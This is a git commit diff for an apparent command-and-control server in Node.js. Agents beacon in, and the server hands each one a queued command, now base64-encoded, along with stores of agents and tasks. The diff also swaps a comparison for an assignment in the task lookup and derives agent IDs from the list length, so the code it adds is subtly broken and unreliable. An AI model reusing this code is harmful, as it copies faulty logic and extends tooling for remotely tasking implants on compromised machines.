Merge branch 'master' into sig-changes

Change fractional seconds (SS) to regular seconds (ss). Thus less resulting in less time traveling
fixed buffer
3 changed files with 3 additions and 5 deletions
--- a/app/app.js
+++ b/app/app.js
@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => {
    agentStore.updateAgentBeaconTime(agentId)
    const task = taskStore.getNextTaskForAgent(agentId)
    if (task) {
-      res.status(200).send(`${task.id}||${task.command}`)
+      res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
    } else {
      res.status(200).send('sleep')
    }
--- a/app/store/agents.js
+++ b/app/store/agents.js
@ -3,12 +3,10 @@ const moment = require('moment')
 const Agents = () => {
  const obj = {}
  obj.agents = []
-  obj._agentId = 0

  obj.addAgent = (os, ip, profile, interval) => {
    const agent = {}
-    obj._agentId += 1
-    agent.id = obj._agentId
+    agent.id = obj.agents.length + 1
    agent.os = os
    agent.ip = ip
    agent.profile = profile
--- a/app/store/tasks.js
+++ b/app/store/tasks.js
@ -17,7 +17,7 @@ const Tasks = () => {
  }

  obj.getTaskById = (taskId) => {
-    const task = obj.tasks.find(t => t.id === taskId)
+    const task = obj.tasks.find(t => t.id = taskId)
    return task
      ? task
      : null
Author	SHA1	Message	Date
sigonasr2, Sig, Sigo	b92335beed	Merge branch 'master' into sig-changes	5 years ago
sigonasr2	ea4bb7ba7a	Change fractional seconds (SS) to regular seconds (ss). Thus less resulting in less time traveling	5 years ago
Joshua Collins	2c9a649330	fixed buffer	5 years ago
Joshua Collins	a1cc49085e	fixed buffer	5 years ago
Joshua Collins	e7b87cca54	added buffer	5 years ago
Joshua Collins	3c4cd42334	added time travel	5 years ago
Joshua Collins	1a19d9b6f7	added stale agent function	5 years ago
Joshua Collins	f9d6aed78d	added stale agent function	5 years ago
Joshua Collins	79a948c939	added stale agent function	5 years ago
Joshua Collins	c418e6dba2	added stale agent function	5 years ago
Joshua Collins	8f0cb0b7b6	added delete agent function	5 years ago
Joshua Collins	955429f4ab	added delete agent function	5 years ago
Joshua Collins	144518da57	added delete agent function	5 years ago